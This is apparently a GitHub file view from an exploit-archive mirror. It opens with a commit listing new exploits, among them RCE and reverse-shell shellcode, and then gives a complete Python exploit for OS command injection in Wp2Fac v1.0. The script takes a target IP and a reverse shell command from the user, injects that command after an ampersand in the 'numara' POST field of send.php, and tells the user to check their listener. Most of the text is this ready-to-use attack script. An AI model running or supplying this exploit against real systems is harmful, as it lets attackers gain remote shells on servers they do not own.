cbe784b087
16 changes to exploits/shellcodes/ghdb Techview LA-5570 Wireless Gateway Home Automation Controller - Multiple Vulnerabilities Axigen < 10.3.3.47_ 10.2.3.12 - Reflected XSS Drupal 10.1.2 - web-cache-poisoning-External-service-interaction Jorani v1.0.3-(c)2014-2023 - XSS Reflected & Information Disclosure soosyze 2.0.0 - File Upload SPA-Cart eCommerce CMS 1.9.0.3 - SQL Injection Wordpress Plugin Elementor 3.5.5 - Iframe Injection Wp2Fac - OS Command Injection Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE) SyncBreeze 15.2.24 - 'login' Denial of Service GOM Player 2.3.90.5360 - Buffer Overflow (PoC) GOM Player 2.3.90.5360 - Remote Code Execution (RCE) Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)
38 lines
No EOL
1 KiB
Python
Executable file
38 lines
No EOL
1 KiB
Python
Executable file
# Exploit Title: Wp2Fac v1.0 - OS Command Injection
|
|
# Date: 2023-08-27
|
|
# Exploit Author: Ahmet Ümit BAYRAM
|
|
# Vendor: https://github.com/metinyesil/wp2fac
|
|
# Tested on: Kali Linux & Windows 11
|
|
# CVE: N/A
|
|
|
|
import requests
|
|
|
|
def send_post_request(host, revshell):
|
|
url = f'http://{host}/send.php'
|
|
headers = {
|
|
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
|
|
Gecko/20100101 Firefox/102.0',
|
|
'Accept': '*/*',
|
|
'Accept-Language': 'en-US,en;q=0.5',
|
|
'Accept-Encoding': 'gzip, deflate',
|
|
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
|
|
'X-Requested-With': 'XMLHttpRequest',
|
|
'Origin': f'http://{host}',
|
|
'Connection': 'close',
|
|
'Referer': f'http://{host}/',
|
|
}
|
|
|
|
data = {
|
|
'numara': f'1234567890 & {revshell} &;'
|
|
}
|
|
|
|
response = requests.post(url, headers=headers, data=data)
|
|
return response.text
|
|
|
|
host = input("Target IP: ")
|
|
|
|
revshell = input("Reverse Shell Command: ")
|
|
|
|
print("Check your listener!")
|
|
|
|
send_post_request(host, revshell) |